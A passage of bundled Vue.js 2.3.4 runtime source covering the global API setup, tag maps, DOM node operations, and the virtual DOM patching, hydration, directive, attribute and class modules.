};
var builtInComponents = {
KeepAlive: KeepAlive
};
/* */
function initGlobalAPI(Vue) {
// config
var configDef = {};
configDef.get = function () {
return config;
};
if (true) {
configDef.set = function () {
warn('Do not replace the Vue.config object, set individual fields instead.');
};
}
Object.defineProperty(Vue, 'config', configDef);
// exposed util methods.
// NOTE: these are not considered part of the public API - avoid relying on
// them unless you are aware of the risk.
Vue.util = {
warn: warn,
extend: extend,
mergeOptions: mergeOptions,
defineReactive: defineReactive$$1
};
Vue.set = set;
Vue.delete = del;
Vue.nextTick = nextTick;
Vue.options = Object.create(null);
ASSET_TYPES.forEach(function (type) {
Vue.options[type + 's'] = Object.create(null);
});
// this is used to identify the "base" constructor to extend all plain-object
// components with in Weex's multi-instance scenarios.
Vue.options._base = Vue;
extend(Vue.options.components, builtInComponents);
initUse(Vue);
initMixin$1(Vue);
initExtend(Vue);
initAssetRegisters(Vue);
}
initGlobalAPI(Vue$3);
Object.defineProperty(Vue$3.prototype, '$isServer', {
get: isServerRendering
});
Object.defineProperty(Vue$3.prototype, '$ssrContext', {
get: function get() {
/* istanbul ignore next */
return this.$vnode.ssrContext;
}
});
Vue$3.version = '2.3.4';
/* */
// these are reserved for web because they are directly compiled away
// during template compilation
var isReservedAttr = makeMap('style,class');
// attributes that should be using props for binding
var acceptValue = makeMap('input,textarea,option,select');
var mustUseProp = function mustUseProp(tag, type, attr) {
return attr === 'value' && acceptValue(tag) && type !== 'button' || attr === 'selected' && tag === 'option' || attr === 'checked' && tag === 'input' || attr === 'muted' && tag === 'video';
};
var isEnumeratedAttr = makeMap('contenteditable,draggable,spellcheck');
var isBooleanAttr = makeMap('allowfullscreen,async,autofocus,autoplay,checked,compact,controls,declare,' + 'default,defaultchecked,defaultmuted,defaultselected,defer,disabled,' + 'enabled,formnovalidate,hidden,indeterminate,inert,ismap,itemscope,loop,multiple,' + 'muted,nohref,noresize,noshade,novalidate,nowrap,open,pauseonexit,readonly,' + 'required,reversed,scoped,seamless,selected,sortable,translate,' + 'truespeed,typemustmatch,visible');
var xlinkNS = 'http://www.w3.org/1999/xlink';
var isXlink = function isXlink(name) {
return name.charAt(5) === ':' && name.slice(0, 5) === 'xlink';
};
var getXlinkProp = function getXlinkProp(name) {
return isXlink(name) ? name.slice(6, name.length) : '';
};
var isFalsyAttrValue = function isFalsyAttrValue(val) {
return val == null || val === false;
};
/* */
function genClassForVnode(vnode) {
var data = vnode.data;
var parentNode = vnode;
var childNode = vnode;
while (isDef(childNode.componentInstance)) {
childNode = childNode.componentInstance._vnode;
if (childNode.data) {
data = mergeClassData(childNode.data, data);
}
}
while (isDef(parentNode = parentNode.parent)) {
if (parentNode.data) {
data = mergeClassData(data, parentNode.data);
}
}
return genClassFromData(data);
}
function mergeClassData(child, parent) {
return {
staticClass: concat(child.staticClass, parent.staticClass),
class: isDef(child.class) ? [child.class, parent.class] : parent.class
};
}
function genClassFromData(data) {
var dynamicClass = data.class;
var staticClass = data.staticClass;
if (isDef(staticClass) || isDef(dynamicClass)) {
return concat(staticClass, stringifyClass(dynamicClass));
}
/* istanbul ignore next */
return '';
}
function concat(a, b) {
return a ? b ? a + ' ' + b : a : b || '';
}
function stringifyClass(value) {
if (isUndef(value)) {
return '';
}
if (typeof value === 'string') {
return value;
}
var res = '';
if (Array.isArray(value)) {
var stringified;
for (var i = 0, l = value.length; i < l; i++) {
if (isDef(value[i])) {
if (isDef(stringified = stringifyClass(value[i])) && stringified !== '') {
res += stringified + ' ';
}
}
}
return res.slice(0, -1);
}
if (isObject(value)) {
for (var key in value) {
if (value[key]) {
res += key + ' ';
}
}
return res.slice(0, -1);
}
/* istanbul ignore next */
return res;
}
/* */
var namespaceMap = {
svg: 'http://www.w3.org/2000/svg',
math: 'http://www.w3.org/1998/Math/MathML'
};
var isHTMLTag = makeMap('html,body,base,head,link,meta,style,title,' + 'address,article,aside,footer,header,h1,h2,h3,h4,h5,h6,hgroup,nav,section,' + 'div,dd,dl,dt,figcaption,figure,hr,img,li,main,ol,p,pre,ul,' + 'a,b,abbr,bdi,bdo,br,cite,code,data,dfn,em,i,kbd,mark,q,rp,rt,rtc,ruby,' + 's,samp,small,span,strong,sub,sup,time,u,var,wbr,area,audio,map,track,video,' + 'embed,object,param,source,canvas,script,noscript,del,ins,' + 'caption,col,colgroup,table,thead,tbody,td,th,tr,' + 'button,datalist,fieldset,form,input,label,legend,meter,optgroup,option,' + 'output,progress,select,textarea,' + 'details,dialog,menu,menuitem,summary,' + 'content,element,shadow,template');
// this map is intentionally selective, only covering SVG elements that may
// contain child elements.
var isSVG = makeMap('svg,animate,circle,clippath,cursor,defs,desc,ellipse,filter,font-face,' + 'foreignObject,g,glyph,image,line,marker,mask,missing-glyph,path,pattern,' + 'polygon,polyline,rect,switch,symbol,text,textpath,tspan,use,view', true);
var isPreTag = function isPreTag(tag) {
return tag === 'pre';
};
var isReservedTag = function isReservedTag(tag) {
return isHTMLTag(tag) || isSVG(tag);
};
function getTagNamespace(tag) {
if (isSVG(tag)) {
return 'svg';
}
// basic support for MathML
// note it doesn't support other MathML elements being component roots
if (tag === 'math') {
return 'math';
}
}
var unknownElementCache = Object.create(null);
function isUnknownElement(tag) {
/* istanbul ignore if */
if (!inBrowser) {
return true;
}
if (isReservedTag(tag)) {
return false;
}
tag = tag.toLowerCase();
/* istanbul ignore if */
if (unknownElementCache[tag] != null) {
return unknownElementCache[tag];
}
var el = document.createElement(tag);
if (tag.indexOf('-') > -1) {
// http://stackoverflow.com/a/28210364/1070244
return unknownElementCache[tag] = el.constructor === window.HTMLUnknownElement || el.constructor === window.HTMLElement;
} else {
return unknownElementCache[tag] = /HTMLUnknownElement/.test(el.toString());
}
}
/* */
/**
* Query an element selector if it's not an element already.
*/
function query(el) {
if (typeof el === 'string') {
var selected = document.querySelector(el);
if (!selected) {
"development" !== 'production' && warn('Cannot find element: ' + el);
return document.createElement('div');
}
return selected;
} else {
return el;
}
}
/* */
function createElement$1(tagName, vnode) {
var elm = document.createElement(tagName);
if (tagName !== 'select') {
return elm;
}
// false or null will remove the attribute but undefined will not
if (vnode.data && vnode.data.attrs && vnode.data.attrs.multiple !== undefined) {
elm.setAttribute('multiple', 'multiple');
}
return elm;
}
function createElementNS(namespace, tagName) {
return document.createElementNS(namespaceMap[namespace], tagName);
}
function createTextNode(text) {
return document.createTextNode(text);
}
function createComment(text) {
return document.createComment(text);
}
function insertBefore(parentNode, newNode, referenceNode) {
parentNode.insertBefore(newNode, referenceNode);
}
function removeChild(node, child) {
node.removeChild(child);
}
function appendChild(node, child) {
node.appendChild(child);
}
function parentNode(node) {
return node.parentNode;
}
function nextSibling(node) {
return node.nextSibling;
}
function tagName(node) {
return node.tagName;
}
function setTextContent(node, text) {
node.textContent = text;
}
function setAttribute(node, key, val) {
node.setAttribute(key, val);
}
var nodeOps = Object.freeze({
createElement: createElement$1,
createElementNS: createElementNS,
createTextNode: createTextNode,
createComment: createComment,
insertBefore: insertBefore,
removeChild: removeChild,
appendChild: appendChild,
parentNode: parentNode,
nextSibling: nextSibling,
tagName: tagName,
setTextContent: setTextContent,
setAttribute: setAttribute
});
/* */
var ref = {
create: function create(_, vnode) {
registerRef(vnode);
},
update: function update(oldVnode, vnode) {
if (oldVnode.data.ref !== vnode.data.ref) {
registerRef(oldVnode, true);
registerRef(vnode);
}
},
destroy: function destroy(vnode) {
registerRef(vnode, true);
}
};
function registerRef(vnode, isRemoval) {
var key = vnode.data.ref;
if (!key) {
return;
}
var vm = vnode.context;
var ref = vnode.componentInstance || vnode.elm;
var refs = vm.$refs;
if (isRemoval) {
if (Array.isArray(refs[key])) {
remove(refs[key], ref);
} else if (refs[key] === ref) {
refs[key] = undefined;
}
} else {
if (vnode.data.refInFor) {
if (Array.isArray(refs[key]) && refs[key].indexOf(ref) < 0) {
refs[key].push(ref);
} else {
refs[key] = [ref];
}
} else {
refs[key] = ref;
}
}
}
/**
* Virtual DOM patching algorithm based on Snabbdom by
* Simon Friis Vindum (@paldepind)
* Licensed under the MIT License
* https://github.com/paldepind/snabbdom/blob/master/LICENSE
*
* modified by Evan You (@yyx990803)
*
/*
* Not type-checking this because this file is perf-critical and the cost
* of making flow understand it is not worth it.
*/
var emptyNode = new VNode('', {}, []);
var hooks = ['create', 'activate', 'update', 'remove', 'destroy'];
function sameVnode(a, b) {
return a.key === b.key && a.tag === b.tag && a.isComment === b.isComment && isDef(a.data) === isDef(b.data) && sameInputType(a, b);
}
// Some browsers do not support dynamically changing type for <input>
// so they need to be treated as different nodes
function sameInputType(a, b) {
if (a.tag !== 'input') {
return true;
}
var i;
var typeA = isDef(i = a.data) && isDef(i = i.attrs) && i.type;
var typeB = isDef(i = b.data) && isDef(i = i.attrs) && i.type;
return typeA === typeB;
}
function createKeyToOldIdx(children, beginIdx, endIdx) {
var i, key;
var map = {};
for (i = beginIdx; i <= endIdx; ++i) {
key = children[i].key;
if (isDef(key)) {
map[key] = i;
}
}
return map;
}
function createPatchFunction(backend) {
var i, j;
var cbs = {};
var modules = backend.modules;
var nodeOps = backend.nodeOps;
for (i = 0; i < hooks.length; ++i) {
cbs[hooks[i]] = [];
for (j = 0; j < modules.length; ++j) {
if (isDef(modules[j][hooks[i]])) {
cbs[hooks[i]].push(modules[j][hooks[i]]);
}
}
}
function emptyNodeAt(elm) {
return new VNode(nodeOps.tagName(elm).toLowerCase(), {}, [], undefined, elm);
}
function createRmCb(childElm, listeners) {
function remove$$1() {
if (--remove$$1.listeners === 0) {
removeNode(childElm);
}
}
remove$$1.listeners = listeners;
return remove$$1;
}
function removeNode(el) {
var parent = nodeOps.parentNode(el);
// element may have already been removed due to v-html / v-text
if (isDef(parent)) {
nodeOps.removeChild(parent, el);
}
}
var inPre = 0;
function createElm(vnode, insertedVnodeQueue, parentElm, refElm, nested) {
vnode.isRootInsert = !nested; // for transition enter check
if (createComponent(vnode, insertedVnodeQueue, parentElm, refElm)) {
return;
}
var data = vnode.data;
var children = vnode.children;
var tag = vnode.tag;
if (isDef(tag)) {
if (true) {
if (data && data.pre) {
inPre++;
}
if (!inPre && !vnode.ns && !(config.ignoredElements.length && config.ignoredElements.indexOf(tag) > -1) && config.isUnknownElement(tag)) {
warn('Unknown custom element: <' + tag + '> - did you ' + 'register the component correctly? For recursive components, ' + 'make sure to provide the "name" option.', vnode.context);
}
}
vnode.elm = vnode.ns ? nodeOps.createElementNS(vnode.ns, tag) : nodeOps.createElement(tag, vnode);
setScope(vnode);
/* istanbul ignore if */
{
createChildren(vnode, children, insertedVnodeQueue);
if (isDef(data)) {
invokeCreateHooks(vnode, insertedVnodeQueue);
}
insert(parentElm, vnode.elm, refElm);
}
if ("development" !== 'production' && data && data.pre) {
inPre--;
}
} else if (isTrue(vnode.isComment)) {
vnode.elm = nodeOps.createComment(vnode.text);
insert(parentElm, vnode.elm, refElm);
} else {
vnode.elm = nodeOps.createTextNode(vnode.text);
insert(parentElm, vnode.elm, refElm);
}
}
function createComponent(vnode, insertedVnodeQueue, parentElm, refElm) {
var i = vnode.data;
if (isDef(i)) {
var isReactivated = isDef(vnode.componentInstance) && i.keepAlive;
if (isDef(i = i.hook) && isDef(i = i.init)) {
i(vnode, false /* hydrating */, parentElm, refElm);
}
// after calling the init hook, if the vnode is a child component
// it should've created a child instance and mounted it. the child
// component also has set the placeholder vnode's elm.
// in that case we can just return the element and be done.
if (isDef(vnode.componentInstance)) {
initComponent(vnode, insertedVnodeQueue);
if (isTrue(isReactivated)) {
reactivateComponent(vnode, insertedVnodeQueue, parentElm, refElm);
}
return true;
}
}
}
function initComponent(vnode, insertedVnodeQueue) {
if (isDef(vnode.data.pendingInsert)) {
insertedVnodeQueue.push.apply(insertedVnodeQueue, vnode.data.pendingInsert);
vnode.data.pendingInsert = null;
}
vnode.elm = vnode.componentInstance.$el;
if (isPatchable(vnode)) {
invokeCreateHooks(vnode, insertedVnodeQueue);
setScope(vnode);
} else {
// empty component root.
// skip all element-related modules except for ref (#3455)
registerRef(vnode);
// make sure to invoke the insert hook
insertedVnodeQueue.push(vnode);
}
}
function reactivateComponent(vnode, insertedVnodeQueue, parentElm, refElm) {
var i;
// hack for #4339: a reactivated component with inner transition
// does not trigger because the inner node's created hooks are not called
// again. It's not ideal to involve module-specific logic in here but
// there doesn't seem to be a better way to do it.
var innerNode = vnode;
while (innerNode.componentInstance) {
innerNode = innerNode.componentInstance._vnode;
if (isDef(i = innerNode.data) && isDef(i = i.transition)) {
for (i = 0; i < cbs.activate.length; ++i) {
cbs.activate[i](emptyNode, innerNode);
}
insertedVnodeQueue.push(innerNode);
break;
}
}
// unlike a newly created component,
// a reactivated keep-alive component doesn't insert itself
insert(parentElm, vnode.elm, refElm);
}
function insert(parent, elm, ref) {
if (isDef(parent)) {
if (isDef(ref)) {
if (ref.parentNode === parent) {
nodeOps.insertBefore(parent, elm, ref);
}
} else {
nodeOps.appendChild(parent, elm);
}
}
}
function createChildren(vnode, children, insertedVnodeQueue) {
if (Array.isArray(children)) {
for (var i = 0; i < children.length; ++i) {
createElm(children[i], insertedVnodeQueue, vnode.elm, null, true);
}
} else if (isPrimitive(vnode.text)) {
nodeOps.appendChild(vnode.elm, nodeOps.createTextNode(vnode.text));
}
}
function isPatchable(vnode) {
while (vnode.componentInstance) {
vnode = vnode.componentInstance._vnode;
}
return isDef(vnode.tag);
}
function invokeCreateHooks(vnode, insertedVnodeQueue) {
for (var i$1 = 0; i$1 < cbs.create.length; ++i$1) {
cbs.create[i$1](emptyNode, vnode);
}
i = vnode.data.hook; // Reuse variable
if (isDef(i)) {
if (isDef(i.create)) {
i.create(emptyNode, vnode);
}
if (isDef(i.insert)) {
insertedVnodeQueue.push(vnode);
}
}
}
// set scope id attribute for scoped CSS.
// this is implemented as a special case to avoid the overhead
// of going through the normal attribute patching process.
function setScope(vnode) {
var i;
var ancestor = vnode;
while (ancestor) {
if (isDef(i = ancestor.context) && isDef(i = i.$options._scopeId)) {
nodeOps.setAttribute(vnode.elm, i, '');
}
ancestor = ancestor.parent;
}
// for slot content they should also get the scopeId from the host instance.
if (isDef(i = activeInstance) && i !== vnode.context && isDef(i = i.$options._scopeId)) {
nodeOps.setAttribute(vnode.elm, i, '');
}
}
function addVnodes(parentElm, refElm, vnodes, startIdx, endIdx, insertedVnodeQueue) {
for (; startIdx <= endIdx; ++startIdx) {
createElm(vnodes[startIdx], insertedVnodeQueue, parentElm, refElm);
}
}
function invokeDestroyHook(vnode) {
var i, j;
var data = vnode.data;
if (isDef(data)) {
if (isDef(i = data.hook) && isDef(i = i.destroy)) {
i(vnode);
}
for (i = 0; i < cbs.destroy.length; ++i) {
cbs.destroy[i](vnode);
}
}
if (isDef(i = vnode.children)) {
for (j = 0; j < vnode.children.length; ++j) {
invokeDestroyHook(vnode.children[j]);
}
}
}
function removeVnodes(parentElm, vnodes, startIdx, endIdx) {
for (; startIdx <= endIdx; ++startIdx) {
var ch = vnodes[startIdx];
if (isDef(ch)) {
if (isDef(ch.tag)) {
removeAndInvokeRemoveHook(ch);
invokeDestroyHook(ch);
} else {
// Text node
removeNode(ch.elm);
}
}
}
}
function removeAndInvokeRemoveHook(vnode, rm) {
if (isDef(rm) || isDef(vnode.data)) {
var i;
var listeners = cbs.remove.length + 1;
if (isDef(rm)) {
// we have a recursively passed down rm callback
// increase the listeners count
rm.listeners += listeners;
} else {
// directly removing
rm = createRmCb(vnode.elm, listeners);
}
// recursively invoke hooks on child component root node
if (isDef(i = vnode.componentInstance) && isDef(i = i._vnode) && isDef(i.data)) {
removeAndInvokeRemoveHook(i, rm);
}
for (i = 0; i < cbs.remove.length; ++i) {
cbs.remove[i](vnode, rm);
}
if (isDef(i = vnode.data.hook) && isDef(i = i.remove)) {
i(vnode, rm);
} else {
rm();
}
} else {
removeNode(vnode.elm);
}
}
function updateChildren(parentElm, oldCh, newCh, insertedVnodeQueue, removeOnly) {
var oldStartIdx = 0;
var newStartIdx = 0;
var oldEndIdx = oldCh.length - 1;
var oldStartVnode = oldCh[0];
var oldEndVnode = oldCh[oldEndIdx];
var newEndIdx = newCh.length - 1;
var newStartVnode = newCh[0];
var newEndVnode = newCh[newEndIdx];
var oldKeyToIdx, idxInOld, elmToMove, refElm;
// removeOnly is a special flag used only by <transition-group>
// to ensure removed elements stay in correct relative positions
// during leaving transitions
var canMove = !removeOnly;
while (oldStartIdx <= oldEndIdx && newStartIdx <= newEndIdx) {
if (isUndef(oldStartVnode)) {
oldStartVnode = oldCh[++oldStartIdx]; // Vnode has been moved left
} else if (isUndef(oldEndVnode)) {
oldEndVnode = oldCh[--oldEndIdx];
} else if (sameVnode(oldStartVnode, newStartVnode)) {
patchVnode(oldStartVnode, newStartVnode, insertedVnodeQueue);
oldStartVnode = oldCh[++oldStartIdx];
newStartVnode = newCh[++newStartIdx];
} else if (sameVnode(oldEndVnode, newEndVnode)) {
patchVnode(oldEndVnode, newEndVnode, insertedVnodeQueue);
oldEndVnode = oldCh[--oldEndIdx];
newEndVnode = newCh[--newEndIdx];
} else if (sameVnode(oldStartVnode, newEndVnode)) {
// Vnode moved right
patchVnode(oldStartVnode, newEndVnode, insertedVnodeQueue);
canMove && nodeOps.insertBefore(parentElm, oldStartVnode.elm, nodeOps.nextSibling(oldEndVnode.elm));
oldStartVnode = oldCh[++oldStartIdx];
newEndVnode = newCh[--newEndIdx];
} else if (sameVnode(oldEndVnode, newStartVnode)) {
// Vnode moved left
patchVnode(oldEndVnode, newStartVnode, insertedVnodeQueue);
canMove && nodeOps.insertBefore(parentElm, oldEndVnode.elm, oldStartVnode.elm);
oldEndVnode = oldCh[--oldEndIdx];
newStartVnode = newCh[++newStartIdx];
} else {
if (isUndef(oldKeyToIdx)) {
oldKeyToIdx = createKeyToOldIdx(oldCh, oldStartIdx, oldEndIdx);
}
idxInOld = isDef(newStartVnode.key) ? oldKeyToIdx[newStartVnode.key] : null;
if (isUndef(idxInOld)) {
// New element
createElm(newStartVnode, insertedVnodeQueue, parentElm, oldStartVnode.elm);
newStartVnode = newCh[++newStartIdx];
} else {
elmToMove = oldCh[idxInOld];
/* istanbul ignore if */
if ("development" !== 'production' && !elmToMove) {
warn('It seems there are duplicate keys that is causing an update error. ' + 'Make sure each v-for item has a unique key.');
}
if (sameVnode(elmToMove, newStartVnode)) {
patchVnode(elmToMove, newStartVnode, insertedVnodeQueue);
oldCh[idxInOld] = undefined;
canMove && nodeOps.insertBefore(parentElm, newStartVnode.elm, oldStartVnode.elm);
newStartVnode = newCh[++newStartIdx];
} else {
// same key but different element. treat as new element
createElm(newStartVnode, insertedVnodeQueue, parentElm, oldStartVnode.elm);
newStartVnode = newCh[++newStartIdx];
}
}
}
}
if (oldStartIdx > oldEndIdx) {
refElm = isUndef(newCh[newEndIdx + 1]) ? null : newCh[newEndIdx + 1].elm;
addVnodes(parentElm, refElm, newCh, newStartIdx, newEndIdx, insertedVnodeQueue);
} else if (newStartIdx > newEndIdx) {
removeVnodes(parentElm, oldCh, oldStartIdx, oldEndIdx);
}
}
function patchVnode(oldVnode, vnode, insertedVnodeQueue, removeOnly) {
if (oldVnode === vnode) {
return;
}
// reuse element for static trees.
// note we only do this if the vnode is cloned -
// if the new node is not cloned it means the render functions have been
// reset by the hot-reload-api and we need to do a proper re-render.
if (isTrue(vnode.isStatic) && isTrue(oldVnode.isStatic) && vnode.key === oldVnode.key && (isTrue(vnode.isCloned) || isTrue(vnode.isOnce))) {
vnode.elm = oldVnode.elm;
vnode.componentInstance = oldVnode.componentInstance;
return;
}
var i;
var data = vnode.data;
if (isDef(data) && isDef(i = data.hook) && isDef(i = i.prepatch)) {
i(oldVnode, vnode);
}
var elm = vnode.elm = oldVnode.elm;
var oldCh = oldVnode.children;
var ch = vnode.children;
if (isDef(data) && isPatchable(vnode)) {
for (i = 0; i < cbs.update.length; ++i) {
cbs.update[i](oldVnode, vnode);
}
if (isDef(i = data.hook) && isDef(i = i.update)) {
i(oldVnode, vnode);
}
}
if (isUndef(vnode.text)) {
if (isDef(oldCh) && isDef(ch)) {
if (oldCh !== ch) {
updateChildren(elm, oldCh, ch, insertedVnodeQueue, removeOnly);
}
} else if (isDef(ch)) {
if (isDef(oldVnode.text)) {
nodeOps.setTextContent(elm, '');
}
addVnodes(elm, null, ch, 0, ch.length - 1, insertedVnodeQueue);
} else if (isDef(oldCh)) {
removeVnodes(elm, oldCh, 0, oldCh.length - 1);
} else if (isDef(oldVnode.text)) {
nodeOps.setTextContent(elm, '');
}
} else if (oldVnode.text !== vnode.text) {
nodeOps.setTextContent(elm, vnode.text);
}
if (isDef(data)) {
if (isDef(i = data.hook) && isDef(i = i.postpatch)) {
i(oldVnode, vnode);
}
}
}
function invokeInsertHook(vnode, queue, initial) {
// delay insert hooks for component root nodes, invoke them after the
// element is really inserted
if (isTrue(initial) && isDef(vnode.parent)) {
vnode.parent.data.pendingInsert = queue;
} else {
for (var i = 0; i < queue.length; ++i) {
queue[i].data.hook.insert(queue[i]);
}
}
}
var bailed = false;
// list of modules that can skip create hook during hydration because they
// are already rendered on the client or has no need for initialization
var isRenderedModule = makeMap('attrs,style,class,staticClass,staticStyle,key');
// Note: this is a browser-only function so we can assume elms are DOM nodes.
function hydrate(elm, vnode, insertedVnodeQueue) {
if (true) {
if (!assertNodeMatch(elm, vnode)) {
return false;
}
}
vnode.elm = elm;
var tag = vnode.tag;
var data = vnode.data;
var children = vnode.children;
if (isDef(data)) {
if (isDef(i = data.hook) && isDef(i = i.init)) {
i(vnode, true /* hydrating */);
}
if (isDef(i = vnode.componentInstance)) {
// child component. it should have hydrated its own tree.
initComponent(vnode, insertedVnodeQueue);
return true;
}
}
if (isDef(tag)) {
if (isDef(children)) {
// empty element, allow client to pick up and populate children
if (!elm.hasChildNodes()) {
createChildren(vnode, children, insertedVnodeQueue);
} else {
var childrenMatch = true;
var childNode = elm.firstChild;
for (var i$1 = 0; i$1 < children.length; i$1++) {
if (!childNode || !hydrate(childNode, children[i$1], insertedVnodeQueue)) {
childrenMatch = false;
break;
}
childNode = childNode.nextSibling;
}
// if childNode is not null, it means the actual childNodes list is
// longer than the virtual children list.
if (!childrenMatch || childNode) {
if ("development" !== 'production' && typeof console !== 'undefined' && !bailed) {
bailed = true;
console.warn('Parent: ', elm);
console.warn('Mismatching childNodes vs. VNodes: ', elm.childNodes, children);
}
return false;
}
}
}
if (isDef(data)) {
for (var key in data) {
if (!isRenderedModule(key)) {
invokeCreateHooks(vnode, insertedVnodeQueue);
break;
}
}
}
} else if (elm.data !== vnode.text) {
elm.data = vnode.text;
}
return true;
}
function assertNodeMatch(node, vnode) {
if (isDef(vnode.tag)) {
return vnode.tag.indexOf('vue-component') === 0 || vnode.tag.toLowerCase() === (node.tagName && node.tagName.toLowerCase());
} else {
return node.nodeType === (vnode.isComment ? 8 : 3);
}
}
return function patch(oldVnode, vnode, hydrating, removeOnly, parentElm, refElm) {
if (isUndef(vnode)) {
if (isDef(oldVnode)) {
invokeDestroyHook(oldVnode);
}
return;
}
var isInitialPatch = false;
var insertedVnodeQueue = [];
if (isUndef(oldVnode)) {
// empty mount (likely as component), create new root element
isInitialPatch = true;
createElm(vnode, insertedVnodeQueue, parentElm, refElm);
} else {
var isRealElement = isDef(oldVnode.nodeType);
if (!isRealElement && sameVnode(oldVnode, vnode)) {
// patch existing root node
patchVnode(oldVnode, vnode, insertedVnodeQueue, removeOnly);
} else {
if (isRealElement) {
// mounting to a real element
// check if this is server-rendered content and if we can perform
// a successful hydration.
if (oldVnode.nodeType === 1 && oldVnode.hasAttribute(SSR_ATTR)) {
oldVnode.removeAttribute(SSR_ATTR);
hydrating = true;
}
if (isTrue(hydrating)) {
if (hydrate(oldVnode, vnode, insertedVnodeQueue)) {
invokeInsertHook(vnode, insertedVnodeQueue, true);
return oldVnode;
} else if (true) {
warn('The client-side rendered virtual DOM tree is not matching ' + 'server-rendered content. This is likely caused by incorrect ' + 'HTML markup, for example nesting block-level elements inside ' + '<p>, or missing <tbody>. Bailing hydration and performing ' + 'full client-side render.');
}
}
// either not server-rendered, or hydration failed.
// create an empty node and replace it
oldVnode = emptyNodeAt(oldVnode);
}
// replacing existing element
var oldElm = oldVnode.elm;
var parentElm$1 = nodeOps.parentNode(oldElm);
createElm(vnode, insertedVnodeQueue,
// extremely rare edge case: do not insert if old element is in a
// leaving transition. Only happens when combining transition +
// keep-alive + HOCs. (#4590)
oldElm._leaveCb ? null : parentElm$1, nodeOps.nextSibling(oldElm));
if (isDef(vnode.parent)) {
// component root element replaced.
// update parent placeholder node element, recursively
var ancestor = vnode.parent;
while (ancestor) {
ancestor.elm = vnode.elm;
ancestor = ancestor.parent;
}
if (isPatchable(vnode)) {
for (var i = 0; i < cbs.create.length; ++i) {
cbs.create[i](emptyNode, vnode.parent);
}
}
}
if (isDef(parentElm$1)) {
removeVnodes(parentElm$1, [oldVnode], 0, 0);
} else if (isDef(oldVnode.tag)) {
invokeDestroyHook(oldVnode);
}
}
}
invokeInsertHook(vnode, insertedVnodeQueue, isInitialPatch);
return vnode.elm;
};
}
/* */
var directives = {
create: updateDirectives,
update: updateDirectives,
destroy: function unbindDirectives(vnode) {
updateDirectives(vnode, emptyNode);
}
};
function updateDirectives(oldVnode, vnode) {
if (oldVnode.data.directives || vnode.data.directives) {
_update(oldVnode, vnode);
}
}
function _update(oldVnode, vnode) {
var isCreate = oldVnode === emptyNode;
var isDestroy = vnode === emptyNode;
var oldDirs = normalizeDirectives$1(oldVnode.data.directives, oldVnode.context);
var newDirs = normalizeDirectives$1(vnode.data.directives, vnode.context);
var dirsWithInsert = [];
var dirsWithPostpatch = [];
var key, oldDir, dir;
for (key in newDirs) {
oldDir = oldDirs[key];
dir = newDirs[key];
if (!oldDir) {
// new directive, bind
callHook$1(dir, 'bind', vnode, oldVnode);
if (dir.def && dir.def.inserted) {
dirsWithInsert.push(dir);
}
} else {
// existing directive, update
dir.oldValue = oldDir.value;
callHook$1(dir, 'update', vnode, oldVnode);
if (dir.def && dir.def.componentUpdated) {
dirsWithPostpatch.push(dir);
}
}
}
if (dirsWithInsert.length) {
var callInsert = function callInsert() {
for (var i = 0; i < dirsWithInsert.length; i++) {
callHook$1(dirsWithInsert[i], 'inserted', vnode, oldVnode);
}
};
if (isCreate) {
mergeVNodeHook(vnode.data.hook || (vnode.data.hook = {}), 'insert', callInsert);
} else {
callInsert();
}
}
if (dirsWithPostpatch.length) {
mergeVNodeHook(vnode.data.hook || (vnode.data.hook = {}), 'postpatch', function () {
for (var i = 0; i < dirsWithPostpatch.length; i++) {
callHook$1(dirsWithPostpatch[i], 'componentUpdated', vnode, oldVnode);
}
});
}
if (!isCreate) {
for (key in oldDirs) {
if (!newDirs[key]) {
// no longer present, unbind
callHook$1(oldDirs[key], 'unbind', oldVnode, oldVnode, isDestroy);
}
}
}
}
var emptyModifiers = Object.create(null);
function normalizeDirectives$1(dirs, vm) {
var res = Object.create(null);
if (!dirs) {
return res;
}
var i, dir;
for (i = 0; i < dirs.length; i++) {
dir = dirs[i];
if (!dir.modifiers) {
dir.modifiers = emptyModifiers;
}
res[getRawDirName(dir)] = dir;
dir.def = resolveAsset(vm.$options, 'directives', dir.name, true);
}
return res;
}
function getRawDirName(dir) {
return dir.rawName || dir.name + "." + Object.keys(dir.modifiers || {}).join('.');
}
function callHook$1(dir, hook, vnode, oldVnode, isDestroy) {
var fn = dir.def && dir.def[hook];
if (fn) {
try {
fn(vnode.elm, dir, vnode, oldVnode, isDestroy);
} catch (e) {
handleError(e, vnode.context, "directive " + dir.name + " " + hook + " hook");
}
}
}
var baseModules = [ref, directives];
/* */
function updateAttrs(oldVnode, vnode) {
if (isUndef(oldVnode.data.attrs) && isUndef(vnode.data.attrs)) {
return;
}
var key, cur, old;
var elm = vnode.elm;
var oldAttrs = oldVnode.data.attrs || {};
var attrs = vnode.data.attrs || {};
// clone observed objects, as the user probably wants to mutate it
if (isDef(attrs.__ob__)) {
attrs = vnode.data.attrs = extend({}, attrs);
}
for (key in attrs) {
cur = attrs[key];
old = oldAttrs[key];
if (old !== cur) {
setAttr(elm, key, cur);
}
}
// #4391: in IE9, setting type can reset value for input[type=radio]
/* istanbul ignore if */
if (isIE9 && attrs.value !== oldAttrs.value) {
setAttr(elm, 'value', attrs.value);
}
for (key in oldAttrs) {
if (isUndef(attrs[key])) {
if (isXlink(key)) {
elm.removeAttributeNS(xlinkNS, getXlinkProp(key));
} else if (!isEnumeratedAttr(key)) {
elm.removeAttribute(key);
}
}
}
}
function setAttr(el, key, value) {
if (isBooleanAttr(key)) {
// set attribute for blank value
// e.g. <option disabled>Select one</option>
if (isFalsyAttrValue(value)) {
el.removeAttribute(key);
} else {
el.setAttribute(key, key);
}
} else if (isEnumeratedAttr(key)) {
el.setAttribute(key, isFalsyAttrValue(value) || value === 'false' ? 'false' : 'true');
} else if (isXlink(key)) {
if (isFalsyAttrValue(value)) {
el.removeAttributeNS(xlinkNS, getXlinkProp(key));
} else {
el.setAttributeNS(xlinkNS, key, value);
}
} else {
if (isFalsyAttrValue(value)) {
el.removeAttribute(key);
} else {
el.setAttribute(key, value);
}
}
}
var attrs = {
create: updateAttrs,
update: updateAttrs
};
/* */
function updateClass(oldVnode, vnode) {
var el = vnode.elm;
var data = vnode.data;
var oldData = oldVnode.data;
if (isUndef(data.staticClass) && isUndef(data.class) && (isUndef(oldData) || isUndef(oldData.staticClass) && isUndef(oldData.class))) {
return;
}
var cls = genClassForVnode(vnode);
// handle transition classes
var transitionClass = el._transitionClasses;
if (isDef(transitionClass)) {
cls = concat(cls, stringifyClass(transitionClass));
}
// set the class
if (cls !== el._prevClass) {
el.setAttribute('class', cls);
el._prevClass = cls;
}
}
var klass = {
create: updateClass,
update: updateClass
};
/* */
